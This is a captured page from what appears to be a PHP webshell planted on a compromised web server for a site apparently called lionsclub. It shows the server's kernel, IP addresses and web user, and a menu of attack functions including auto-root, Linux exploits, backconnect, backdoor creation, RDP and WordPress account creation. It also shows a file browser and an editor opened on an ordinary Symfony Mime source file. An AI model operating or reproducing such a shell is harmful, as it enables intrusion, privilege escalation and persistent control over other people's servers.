Linux lionsclub 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
Apache/2.4.29 (Ubuntu)
: 161.35.52.75 | : 3.17.162.216
Cant Read [ /etc/named.conf ]
7.4.28
www-data
shells.trxsecurity.org
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
Backdoor Scanner
Backdoor Create
Alfa Webshell
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
var /
www /
lionsclub /
core /
vendor /
symfony /
mime /
[ HOME SHELL ]
Name
Size
Permission
Action
Crypto
[ DIR ]
drwxr-xr-x
DependencyInjection
[ DIR ]
drwxr-xr-x
Encoder
[ DIR ]
drwxr-xr-x
Exception
[ DIR ]
drwxr-xr-x
Header
[ DIR ]
drwxr-xr-x
Part
[ DIR ]
drwxr-xr-x
Resources
[ DIR ]
drwxr-xr-x
Test
[ DIR ]
drwxr-xr-x
Address.php
4.26
KB
-rw-r--r--
BodyRendererInterface.php
418
B
-rw-r--r--
CHANGELOG.md
457
B
-rw-r--r--
CharacterStream.php
9.3
KB
-rw-r--r--
Email.php
14.68
KB
-rw-r--r--
FileBinaryMimeTypeGuesser.php
2.47
KB
-rw-r--r--
FileinfoMimeTypeGuesser.php
1.83
KB
-rw-r--r--
LICENSE
1.04
KB
-rw-r--r--
Message.php
4.12
KB
-rw-r--r--
MessageConverter.php
5.35
KB
-rw-r--r--
MimeTypeGuesserInterface.php
963
B
-rw-r--r--
MimeTypes.php
169.26
KB
-rw-r--r--
MimeTypesInterface.php
821
B
-rw-r--r--
README.md
464
B
-rw-r--r--
RawMessage.php
1.72
KB
-rw-r--r--
composer.json
1.32
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : MessageConverter.php
<?php /* * This file is part of the Symfony package. * * (c) Fabien Potencier <fabien@symfony.com> * * For the full copyright and license information, please view the LICENSE * file that was distributed with this source code. */ namespace Symfony\Component\Mime; use Symfony\Component\Mime\Exception\RuntimeException; use Symfony\Component\Mime\Part\DataPart; use Symfony\Component\Mime\Part\Multipart\AlternativePart; use Symfony\Component\Mime\Part\Multipart\MixedPart; use Symfony\Component\Mime\Part\Multipart\RelatedPart; use Symfony\Component\Mime\Part\TextPart; /** * @author Fabien Potencier <fabien@symfony.com> */ final class MessageConverter { /** * @throws RuntimeException when unable to convert the message to an email */ public static function toEmail(Message $message): Email { if ($message instanceof Email) { return $message; } // try to convert to a "simple" Email instance $body = $message->getBody(); if ($body instanceof TextPart) { return self::createEmailFromTextPart($message, $body); } if ($body instanceof AlternativePart) { return self::createEmailFromAlternativePart($message, $body); } if ($body instanceof RelatedPart) { return self::createEmailFromRelatedPart($message, $body); } if ($body instanceof MixedPart) { $parts = $body->getParts(); if ($parts[0] instanceof RelatedPart) { $email = self::createEmailFromRelatedPart($message, $parts[0]); } elseif ($parts[0] instanceof AlternativePart) { $email = self::createEmailFromAlternativePart($message, $parts[0]); } elseif ($parts[0] instanceof TextPart) { $email = self::createEmailFromTextPart($message, $parts[0]); } else { throw new RuntimeException(sprintf('Unable to create an Email from an instance of "%s" as the body is too complex.', get_debug_type($message))); } return self::attachParts($email, \array_slice($parts, 1)); } throw new RuntimeException(sprintf('Unable to create an Email from an instance of "%s" as the body is too complex.', get_debug_type($message))); } private static function createEmailFromTextPart(Message $message, TextPart $part): Email { if ('text' === $part->getMediaType() && 'plain' === $part->getMediaSubtype()) { return (new Email(clone $message->getHeaders()))->text($part->getBody(), $part->getPreparedHeaders()->getHeaderParameter('Content-Type', 'charset') ?: 'utf-8'); } if ('text' === $part->getMediaType() && 'html' === $part->getMediaSubtype()) { return (new Email(clone $message->getHeaders()))->html($part->getBody(), $part->getPreparedHeaders()->getHeaderParameter('Content-Type', 'charset') ?: 'utf-8'); } throw new RuntimeException(sprintf('Unable to create an Email from an instance of "%s" as the body is too complex.', get_debug_type($message))); } private static function createEmailFromAlternativePart(Message $message, AlternativePart $part): Email { $parts = $part->getParts(); if ( 2 === \count($parts) && $parts[0] instanceof TextPart && 'text' === $parts[0]->getMediaType() && 'plain' === $parts[0]->getMediaSubtype() && $parts[1] instanceof TextPart && 'text' === $parts[1]->getMediaType() && 'html' === $parts[1]->getMediaSubtype() ) { return (new Email(clone $message->getHeaders())) ->text($parts[0]->getBody(), $parts[0]->getPreparedHeaders()->getHeaderParameter('Content-Type', 'charset') ?: 'utf-8') ->html($parts[1]->getBody(), $parts[1]->getPreparedHeaders()->getHeaderParameter('Content-Type', 'charset') ?: 'utf-8') ; } throw new RuntimeException(sprintf('Unable to create an Email from an instance of "%s" as the body is too complex.', get_debug_type($message))); } private static function createEmailFromRelatedPart(Message $message, RelatedPart $part): Email { $parts = $part->getParts(); if ($parts[0] instanceof AlternativePart) { $email = self::createEmailFromAlternativePart($message, $parts[0]); } elseif ($parts[0] instanceof TextPart) { $email = self::createEmailFromTextPart($message, $parts[0]); } else { throw new RuntimeException(sprintf('Unable to create an Email from an instance of "%s" as the body is too complex.', get_debug_type($message))); } return self::attachParts($email, \array_slice($parts, 1)); } private static function attachParts(Email $email, array $parts): Email { foreach ($parts as $part) { if (!$part instanceof DataPart) { throw new RuntimeException(sprintf('Unable to create an Email from an instance of "%s" as the body is too complex.', get_debug_type($email))); } $headers = $part->getPreparedHeaders(); $method = 'inline' === $headers->getHeaderBody('Content-Disposition') ? 'embed' : 'attach'; $name = $headers->getHeaderParameter('Content-Disposition', 'filename'); $email->$method($part->getBody(), $name, $part->getMediaType().'/'.$part->getMediaSubtype()); } return $email; } }
Close